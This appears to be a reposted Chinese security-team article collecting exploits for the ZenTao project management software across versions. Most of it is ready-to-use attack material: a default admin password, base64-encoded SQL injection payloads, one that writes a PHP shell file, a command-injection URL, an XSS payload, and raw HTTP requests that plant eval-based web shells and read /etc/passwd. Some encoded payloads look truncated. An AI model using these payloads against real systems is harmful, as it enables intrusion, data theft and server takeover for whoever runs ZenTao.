引
言
禅道 项目管理软件 是国产的开源项目管理软件,专注研发项目管理,内置需求管理、任务管理、bug管理、缺陷管理、用例管理、计划发布等功能,实现了软件的完整生命周期管理。
01
—
查看当前版本
/index.php?mode=getconfig
02
—
获取绝对路径
直接在域名后面随便输入什么就会爆出绝对路径。
03
—
路由介绍
禅道里有两种类型的路由,分别对应者两种不同的url访问方式
PATH_INFO:以伪静态形式在html名称中传参
user-login-L3plbnRhb3BtczEwLjMuMS93d3cv.html
GET:类似于其他常规cms在get参数中传参
index.php?m=block&f=main&mode=getblockdata
04
—
弱口令
禅道后台管理员admin的密码默认为123456,但是登陆后台后如果检测到密码强度过低的话,所有页面都会重定向到改密码的页面.
05
—
前台注入
版本:8.2 - 9.2.1
请求的时候加了一个单引号,并且加上referer
/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxJyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0=
其中参数param经过base64解码得到
{"orderBy":"order limit 1,1'","num":"1,1","type":"openedbyme"}
报错显示数据库名
/index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxIFBST0NFRFVSRSBBTkFMWVNFKHBvbHlnb24oaWQpLDEpIyIsIm51bSI6IjEsMSIsInR5cGUiOiJvcGVuZWRieW1lIn0
参数param base64解码
{"orderBy":"order limit 1,1 PROCEDURE ANALYSE(polygon(id),1)#","num":"1,1","type":"op
写shell
当程序的requestType为PATH_INFO时,利用代码为
http://test.com/block-main.html?mode=getblockdata&blockid=task¶m=eyJhY2NvdW50IjoiYWRtaW4WQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ
当程序的requestType为GET时,利用代码为
index.php?m=block&f=main&mode=getblockdata&blockid=case¶m=eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMSwxO3NlbGVjdCAnPD9waHAgcGhwaW5mbycgaW50byBvdXRmaWxlICdkOi9lLnBocCcjIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==
参数param为一段json的base64编码,解码之后就是
{"orderBy":"order limit 1,1;select '<?php phpinfo' into outfile '/opt/zbox/app/zentao/shell.php'#","num":"1,1","type":"openedbyme"}
06
—
后台命令执行
版本:10.3.1
禅道的路由是通过 xxx-xxx-xxx.html 的方式传递进去。利用时候需要把payload进行3次url编码才可以进去路由 。
payload:
api-getModel-svn-getRepoLogs-repo=test,fromRevision=%252526ipconfig%252526.html
也可以写入文件
api-getModel-svn-getRepoLogs-repo=test,fromRevision=%252526echo%252520test%25253et1.php%252526.html
07
—
前台XSS
版本:<10.3.1
payload:
misc-checkUpdate.html?note=PG9iamVjdCBkYXRhPSJkYXRhOnRleHQvaHRtbDtiYXNlNjQsUEhOamNtbHdkRDVoYkdWeWRDZ3hLVHd2YzJOeWFYQjBQZz09Ij4=&br
08
—
任意文件写入
条件:需要登录
版本:开源版 7.3,专业版4.7.1 以及之前版本
payload:
<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg==" />
为了满足正则表达式,引号之后要多加几个空格。
数据包:
POST /official/ZenTaoPMS.Pro4.7.1/zentaopms/www/file-ajaxPasteImage.html HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36
editor=<img src="data:image/php;base64,PD9waHAgZXZhbCgkX1BPU1RbdG1kXSk/Pg==" /
返回包中包含shell路径
09
后台任意文件读取写入
版本:5.2 ,5.3 ,6.2
漏洞点:后台 -> 扩展 -> 编辑器&API -> 后台管理 -> 新增方法
/index.php?m=editor&f=index&type=editor
POST /zd/www/index.php?m=editor&f=save&filePath=L3Zhci93d3cvemQvd3d3L2RhdGEvdXBsb2FkLzEucGhw&action=newPage HTTP/1.1
Host: 172.16.0.128:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
fileContent=eval($_POST['test']); @
参数filePath是目标文件的base64的编码值,这里只要修改为可读可写的目录就可以了。
读文件
GET /zd/www/index.php?m=editor&f=edit&filePath=L2V0Yy9wYXNzd2Q=&action=override&isExtends= HTTP/1.1
Host: 172.16.0.128:81
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0
往期精选
围观
丨更多
热文
丨更多
·end·
—如果喜欢,快分享给你的朋友们吧—
我们一起愉快的玩耍吧
原文始发于微信公众号(Rot5pider安全团队):禅道cms漏洞总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论